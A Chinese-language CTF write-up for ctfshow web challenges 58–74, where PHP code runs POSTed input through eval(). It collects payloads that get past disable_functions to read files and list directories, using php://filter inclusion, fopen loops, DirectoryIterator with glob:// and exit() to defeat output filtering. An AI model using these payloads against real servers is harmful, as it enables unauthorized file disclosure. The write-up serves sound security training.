ctfshow命令执行绕过disable_functions
船新版本,绕过禁用函数。
web58-65
题目:
1 2 3 4 5 6 7
| <?php if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
解答:
绕过disable_function,那我们先看一下phpinfo() ,然后发现被禁了???那还绕什么,关闭浏览器
整理一下payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| //高亮显示php文件 c=show_source("flag.php"); c=highlight_file("flag.php"); //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt) copy("flag.php","flag.txt"); rename("flag.php","flag.txt"); //单一函数读文件内容: echo file_get_contents("flag.php"); readfile("flag.php"); print_r(file("flag.php")); //文件包含绕过: post:c=include($_GET[1]); get:?1=php://filter/convert.base64-encode/resource=flag.php
|
再贴出羽师傅的一些其他操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 通过fopen读文件内容: 函数: fread() fgets() fgetc() fgetss() fgetcsv() gpassthru() 用法: $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用 $a=fopen("flag.php","r");echo fpassthru($a); //过59 $a=fopen("flag.php","r");echo fread($a,"1000"); //过59 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60
|
1 2 3 4 5 6
| flag不在flag.php中,需要先查找flag所在的位置 scandir() opendir() 用法 c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67 c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt"); //过66-67
|
1 2 3 4 5 6
| 后面因为是txt文件,所以直接用include直接包含就能显示flag include() require() 用法: include("/flag.txt"); //过66-70 require("/flag.txt"); //过66-70
|
参考链接:
https://blog.csdn.net/miuzzx/article/details/108619930?spm=1001.2014.3001.5501
web66-67
1、题目:
同上。
2、解答:
没变,但是flag不在当前文件夹下了。需要扫目录:
payload:
1 2
| c=var_dump(scandir("/")); c=print_r(scandir("/"));
|
扫出目录后highlight_file()即可
web68-70
题目:
ban了highlight_file()
解答:
试试include(‘/flag.php’) 发现太大出不来。考虑到flag应该在根目录下的flag.txt里,于是直接用包含做。
payload:
1 2 3 4
| c=include('/flag.txt'); c=require('/flag.txt'); c=require_once('/flag.txt'); c=include_once('/flag.txt');
|
扩展:扫目录函数被ban完了。记录下Y4的扫目录操作:
1
| c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
|
web71
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
|
解答:
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
官方介绍:
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
利用exit,停止后面的程序
payload:
1
| c=require("/flag.txt");exit();
|
web72(不会)
不会,之后学
web73、74
文件不再是flag.txt了,需要自己扫,但是扫的东西ban了一大半。
解答:
通过glob遍历目录:
payload:
1 2 3 4 5 6 7
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
|
扫出来一回正常文件包含梭了。
能做的题都在这了,之后会总结一下命令执行的操作和姿势。
参考链接:
https://www.cnblogs.com/NPFS/p/13797436.html
https://blog.csdn.net/solitudi/article/details/109837640?spm=1001.2014.3001.5501
https://blog.csdn.net/miuzzx/article/details/108619930?spm=1001.2014.3001.5501